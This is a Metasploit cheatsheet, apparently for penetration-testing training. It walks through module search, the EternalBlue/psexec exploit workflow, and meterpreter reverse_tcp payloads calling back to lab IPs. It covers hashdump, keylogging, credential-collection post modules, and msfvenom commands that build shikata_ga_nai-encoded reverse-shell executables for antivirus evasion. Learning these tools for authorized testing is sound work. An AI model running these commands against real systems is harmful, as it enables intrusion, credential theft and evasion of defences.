Metasploit Cheatsheet

Important: A failed exploit does not disprove that the vulnerability exists. Many exploits require customization for the specific target. Metasploit should be considered a support tool, not a substitute for manual skills.

Module Structure

<No.> <type>/<os>/<service>/<name>

Example: 794 exploit/windows/ftp/scriptftp_list

Module Types

Note: Only auxiliary, exploits, and post modules can be used with use <no.> command.

Searching Modules

Basic Search

search <keyword>
search eternalromance

Advanced Search Options

search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search type:exploit platform:windows cve:2021 rank:excellent microsoft

Search Keywords

Search Options

Module Selection & Usage

Select Module

use <module_number>
use exploit/windows/smb/ms17_010_psexec

View Module Options

show options

Set Required Options

set RHOSTS <target_ip>
set RHOSTS 10.10.10.40
setg LHOST <attacker_ip>    # Global setting
set LPORT 4444

View Payloads

show payloads
grep meterpreter show payloads
grep meterpreter grep reverse_tcp show payloads

Set Payload

set payload windows/meterpreter/reverse_tcp

Execute Exploit

run
exploit

Common Options

Useful Commands

Rank Levels

Targets

Targets are unique operating system identifiers that adapt the exploit module to a specific OS version.

View Targets

# From root menu (requires exploit selected first)
msf6 > show targets
[-] No exploit module selected.

# From within an exploit module
msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets

Select a Target

msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6
target => 6

Setting target to Automatic lets msfconsole perform service detection before launching the attack.

To identify a target correctly:

1. Obtain a copy of the target binaries
2. Use msfpescan to locate a suitable return address

Payloads

Payloads are modules that aid the exploit module in returning a shell to the attacker.

Payload Types

Singles — Self-contained payloads with exploit and entire shellcode. More stable but larger. Execute immediately.

Stagers — Wait on attacker machine for connection. Small and reliable. Set up network connection between attacker and victim. Examples: reverse_tcp, reverse_https, bind_tcp.

Stages — Downloaded by stager modules. Provide advanced features with no size limits. Examples: Meterpreter, VNC Injection.

List Payloads

msf6 > show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads

Select Payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
# or
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

Common Windows Payloads

Meterpreter Commands

meterpreter > help           # Show all commands
meterpreter > getuid         # Get current user (use getuid, not whoami)
meterpreter > sysinfo        # System information
meterpreter > shell          # Drop to system shell
meterpreter > hashdump       # Dump SAM database
meterpreter > screenshot     # Capture screenshot
meterpreter > keyscan_start  # Start keylogger
meterpreter > background     # Background session

Note: whoami does not work in Meterpreter — use getuid instead.

Encoders

Encoders change payloads to run on different architectures and help with AV evasion. Supported architectures: x64, x86, sparc, ppc, mips.

Shikata Ga Nai (x86/shikata_ga_nai) — Polymorphic XOR Additive Feedback Encoder. Was widely used for AV evasion; modern AV products have largely caught up. Even multiple iterations are often insufficient alone.

List Encoders

msf6 > show encoders

Common Encoders

Generate Encoded Payload with msfvenom

# Single iteration
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o payload.exe

# Multiple iterations (10)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o payload.exe

Check Payload with VirusTotal

msf-virustotal -k <API_key> -f payload.exe

Databases

Databases in msfconsole track results, credentials, and scan data using PostgreSQL.

Database Setup

# Check PostgreSQL status
sudo service postgresql status

# Start PostgreSQL
sudo systemctl start postgresql

# Initialize MSF database
sudo msfdb init

# Check database status
sudo msfdb status

Connect to Database

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Reinitialize Database

msf6 > msfdb reinit

Workspaces

msf6 > workspace                    # List workspaces
msf6 > workspace -a Target_1        # Add workspace
msf6 > workspace Target_1           # Switch workspace
msf6 > workspace -d Target_1        # Delete workspace
msf6 > workspace -r old new         # Rename workspace

Import Scan Results

msf6 > db_import Target.xml         # Import Nmap XML

Run Nmap from MSFconsole

msf6 > db_nmap -sV -sS 10.10.10.8

View Stored Data

msf6 > hosts                        # List discovered hosts
msf6 > services                     # List discovered services
msf6 > services -p 445              # Filter by port
msf6 > services -s smb              # Filter by service name
msf6 > vulns                        # List vulnerabilities
msf6 > creds                        # List credentials
msf6 > loot                         # List loot (hashes, etc.)

Credentials Management

# Add credentials
msf6 > creds add user:admin password:notpassword realm:workgroup
msf6 > creds add user:admin ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A
msf6 > creds add user:sshadmin ssh-key:/path/to/id_rsa

# Filter credentials
msf6 > creds -u admin              # By username
msf6 > creds -p 22                 # By port
msf6 > creds -t ntlm               # By type

Export Data

msf6 > services -o services.csv    # Export to CSV
msf6 > creds -o creds.csv          # Export credentials

Sessions

MSFconsole can manage multiple modules simultaneously using Sessions.

Background a Session

# From Meterpreter - press [CTRL] + [Z] or type:
meterpreter > background

List Active Sessions

msf6 > sessions

Interact with a Session

msf6 > sessions -i 1

Session Commands

Using Sessions with Post Modules

# Background current session
meterpreter > background

# Select post module
msf6 > use post/windows/gather/credentials/credential_collector

# Set the session to run against
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1

# Run the module
msf6 post(windows/gather/credentials/credential_collector) > run

Jobs

Jobs allow running tasks in the background, freeing up the console for other work.

Important: Don’t use [CTRL] + [C] to stop an exploit using a port — the port will remain in use. Use jobs -k <id> to properly free the port.

Run Exploit as Background Job

msf6 exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.34:4444

Job Management Commands

Example Workflow

# Start msfconsole
msfconsole

# Search for exploit
search ms17_010

# Select module
use exploit/windows/smb/ms17_010_psexec

# View options
show options

# Set target
set RHOSTS 10.10.10.40

# Set payload options
setg LHOST 10.10.14.15
set LPORT 4444

# Check vulnerability (if supported)
check

# Run exploit
run